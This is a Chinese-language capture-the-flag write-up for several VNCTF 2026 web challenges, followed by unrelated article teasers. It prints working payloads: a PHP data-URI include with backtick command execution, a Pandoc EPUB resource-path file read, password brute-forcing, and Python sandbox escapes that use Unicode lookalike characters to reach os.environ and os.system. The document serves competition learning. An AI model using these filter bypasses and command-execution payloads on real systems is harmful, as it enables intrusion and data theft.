VNCTF 2026-web(部分wp无java反序列化)

Signin

审视源码发现过滤了['/', 'convert', 'base', 'text', 'plain']

由GET体file传参进行文件包含(当file长度小等于20时)

于是便可以用data协议进行文件上传包含,但是//被ban,所以可以用短符号简写绕过:data;,
然后,由于include具有解析上传文件的特性,能把上传的文件当作php代码识别,故可以写出以下payload:?file=data:,<?phpinfo();?>

phpinfo显示short_open_tag=On,所以可以用短标签减少字数

随后就可以构建一句话了

原本是<?=eval($_GET[x]);这样的,但是长度超20了

于是上网搜得反引号是 shell_exec() 的语法糖

即`$_GET[0]`  ===  shell_exec($_GET[0])

(题目不支持POST传参)

所以构得最后payload:?file=data:,<?=`$_GET[x]`;&x=cat /flag

得到flag

渗透测试

题目是一个登录框,给了一个密码附件,很明显是要去爆破密码,一共两万个密码()

Burp suite抓包发现上传的参数被加密了,所以直接用intruder爆破肯定不现实,所以便然ai写了个模拟键盘输入的python脚本一个个爆破密码,用户名admin

最后跑了一个晚上跑出来了(分多个虚拟机同时跑),密码是5V26s9dBZQVBZgyyVC00baeW

 Markdown2world

首先试了一下上传别的后缀文件,提示只能上传.md或.markdown后缀的文件,于是只能在Pandoc机制,转换机制,和不同类型文件的特性中研究

题目提示了

于是只能上网搜一下这几种文件都有哪些可能的漏洞

发现可以试试tamplate模板注入,于是构造payload:
---

template: /flag

---

xxxxxxxxx(一定要写)

上传,发现被拦截了

template和reference-doc被过滤,pdf文件有上传不了,只能试试通过资源文件引用+EPUB打包机制 进行任意文件读取,或者通过文件名注入命令了

首先是看了上传后文件名会被重新修改,于是随便上传了一个名为<?phpinfo();?>.md的文件。但是没用

那就只能试试Pandoc的特性:
Pandoc生成EPUB时,有一个特性叫 "Resource Fetching"(资源抓取),只要通过构造特殊的资源抓取语句来改变EPUB抓取的资源的路径即可达到类似于“文件包含”的效果,将flag打包下载下来

Payload(可以多设几条路径提高拿到flag的概率):
---

resource-path: ["/", "/tmp", "/home/ctf", "."]

---

![flag](/flag)
下载下来后可以改后缀为.zip来解压

在解压包中拿到flag:

(本来想试试docx和html的漏洞的,但试了几个常见的payload发现没那么简单)

I really really really

看到题目发现考的是python沙箱逃逸(慌了),只能现学现卖了()

先进行简单的fuzz测试,发现常规的’ “ [ ] { } __ ;和数字0-9都被过滤了,hint提及unicode,于是就去搜寻这些字符有关的unicode编码其他格式(查了超多资料,这里只写了有用的编码)
发现单引号:  ʼ [U+02BC]修饰符右单引号
没被过滤

发现_没被过滤

就想着引入模块去做,结果发现几乎全部的模块都被删了(应该是所有的)

首先先要解决__的问题,这里用了fuzz测试了多种组合:_̲  ﹍﹎ ﹏﹍ ⁔﹍ ﹋﹌等等等一大把

最后发现只有_̲ 和 ﹎_没被过滤,本来以为_̲ 可以,结果不知道为啥系统自动识别成了普通字符

随后就是关键字的问题,本来想着用ʼ claʼ +ʼss ʼ的方法绕过的,但是失败了,但是后来看到题目的字体后才发觉可以试试数学花体字母𝓬𝓵𝓪𝓼𝓼,于是就成功了

等基本的完工后就运用一点ssti的知识读取flag

但是不知道为啥始终返回空白

等后面群里师傅说在环境变量里也有flag才找到另一条生路

首先鉴于单行字符不能超过30,所以采用拼接的方式串联起payload:
 

a=()

b=a._﹍𝓬𝓵𝓪𝓼𝓼﹍_

c=b._﹍𝓫𝓪𝓼𝓮﹍_

d=c._﹍𝓼𝓾𝓫𝓬𝓵𝓪𝓼𝓼𝓮𝓼﹍_()

for x in d:

 try:

  g=x._﹍𝓲𝓷𝓲𝓽﹍_._﹍𝓰𝓵𝓸𝓫𝓪𝓵𝓼﹍_

except:pass

随后就是通过报错

(触发AssertionError: <r的内容>,错误信息一定会显示在网页回显中)读取environ字典了

a=()

b=a._﹍𝓬𝓵𝓪𝓼𝓼﹍_

c=b._﹍𝓫𝓪𝓼𝓮﹍_

d=c._﹍𝓼𝓾𝓫𝓬𝓵𝓪𝓼𝓼𝓮𝓼﹍_()

r=()

for x in d:

 try:

  g=x._﹍𝓲𝓷𝓲𝓽﹍_._﹍𝓰𝓵𝓸𝓫𝓪𝓵𝓼﹍_

  e=g.get(k).environ

  r=e

 except:pass

assert ...!=...,r

但是这个回显是

跟ai探讨了一个小时左右,发现原来不是模块被删了,而是放到别的模块去了(应该是的),所以只能利用一个try/expect循环遍历__init__.__globals__找到包含os模块的globals

最后生成的payload如下:
a=()

b=a._﹍𝓬𝓵𝓪𝓼𝓼﹍_

c=b._﹍𝓫𝓪𝓼𝓮﹍_

d=c._﹍𝓼𝓾𝓫𝓬𝓵𝓪𝓼𝓼𝓮𝓼﹍_()

r=()

for x in d:

 try:

  g=x._﹍𝓲𝓷𝓲𝓽﹍_._﹍𝓰𝓵𝓸𝓫𝓪𝓵𝓼﹍_

  for k in g:

   try:

    e=g.get(k).environ

    r=e

   except:pass

 except:pass

assert ...!=...,r

在环境变量中找到flag:

其实我本来是想把flag导入到同目录的文件中的

a=()

b=a._﹍𝓬𝓵𝓪𝓼𝓼﹍_

c=b._﹍𝓫𝓪𝓼𝓮﹍_

d=c._﹍𝓼𝓾𝓫𝓬𝓵𝓪𝓼𝓼𝓮𝓼﹍_()

r=()

for x in d:

 try:

  g=x._﹍𝓲𝓷𝓲𝓽﹍_._﹍𝓰𝓵𝓸𝓫𝓪𝓵𝓼﹍_

  h=g.get(ʼosʼ)

  h.system(ʼcat /flag>/tmp/aʼ)

 except:

  pass

assert ...!=...,r

但是代码太长了,导致不能实现

Read more

最新版 Kimi K2.5 完整使用教程:从入门到实战(开源部署+API接入+多模态核心功能)

最新版 Kimi K2.5 完整使用教程:从入门到实战(开源部署+API接入+多模态核心功能)

月之暗面(Moonshot AI)重磅发布Kimi系列最新开源多模态大模型——Kimi K2.5,一经推出便引爆开发者社区。作为“Agentic AI元年”的标杆开源模型,Kimi K2.5凭借1万亿总参数量、原生三模态融合、Agent集群协作(Agent Swarm)等核心优势,在SWE-Bench Verified编码评测中斩获76.8分,视觉理解精度对标GPT-5.2,且支持本地部署、在线调用、API接入全链路使用方式,免费开放商业使用权,成为个人开发者与企业落地AI应用的首选模型。 本文是Kimi K2.5最新、最全面的实战使用教程,从“零门槛在线使用”到“本地开源部署”,再到“API接入实战”“核心功能拆解”,每一步都配套可复用代码,无论你是新手还是资深开发者,都能快速上手并落地Kimi K2.5的核心能力。 一、前置认知:Kimi K2.

By Ne0inhk
GTC2026前瞻(二)Agentic AI 与开源模型篇+(三)Physical AI 与机器人篇

GTC2026前瞻(二)Agentic AI 与开源模型篇+(三)Physical AI 与机器人篇

(二)Agentic AI 与开源模型篇 Agentic AI与开源模型:英伟达想定义的,不只是“更聪明的模型”,而是“能持续工作的数字劳动力” 如果说过去两年的大模型竞赛,核心问题还是“谁能生成更像人的答案”,那么到了 GTC 2026,问题已经明显变了。英伟达把 Agentic AI 直接列为大会四大核心主题之一,官方对这一主题的定义也很明确:重点不再是单轮问答,而是让 AI agent 能够推理、规划、检索并执行动作,最终把企业数据转化为可投入生产的“数字劳动力”。这说明,Agentic AI 在英伟达的语境里,已经不是一个前沿概念,而是下一阶段 AI 商业化的主战场。(NVIDIA) 一、GTC 2026真正的变化,是 AI 开始从“会回答”走向“会做事”

By Ne0inhk
OpenCode:开源 AI Coding Agent 技术与行业分析

OpenCode:开源 AI Coding Agent 技术与行业分析

核心发现摘要 OpenCode 是当前 AI 编程工具领域最活跃的开源项目之一。截至 2026 年 2 月,该项目在 GitHub 上已获得 99.8K Star,月活跃开发者超过 250 万,支持 75 种以上大语言模型提供商。 OpenCode 的核心价值在于打破供应商锁定:代码基于 MIT 许可证完全开源,架构支持本地模型部署以保障隐私,并独创 Plan/Build 双模式工作流,为开发者提供高度的灵活性与控制权。 商业模式上,OpenCode 与 Claude Code、Cursor 等闭源工具的订阅制不同,采用按需付费模式。通过 OpenCode Zen 服务,开发者可免费使用 Big Pickle、Kimi K2.

By Ne0inhk

爆肝 2 天,用 GLM5 开发了 OpenClaw 接入微信 bot,已开源!

这是苍何的第 493 篇原创! 大家好,我是苍何。 OpenClaw,这个 GitHub 上 18 万 Star 的怪物级开源项目,你们应该都听过了吧? 飞书能接、钉钉能接、企业微信能接、QQ 能接、Discord 能接…… 但偏偏最多人用的「微信个人号」,它不支持。 我翻遍了 GitHub、掘金、知乎,找到的方案要么是企业微信绕一圈,要么是用微信 Web 协议搞,动不动就封号。 说实话,这谁顶得住? 天天在微信上跟朋友聊天、在群里吹水,结果想接个 OpenClaw 都这么费劲? 麻了。 于是我决定自己干。 「爆肝 2 天,我把 OpenClaw 接入了微信个人号,并且已经开源了。」 地址:

By Ne0inhk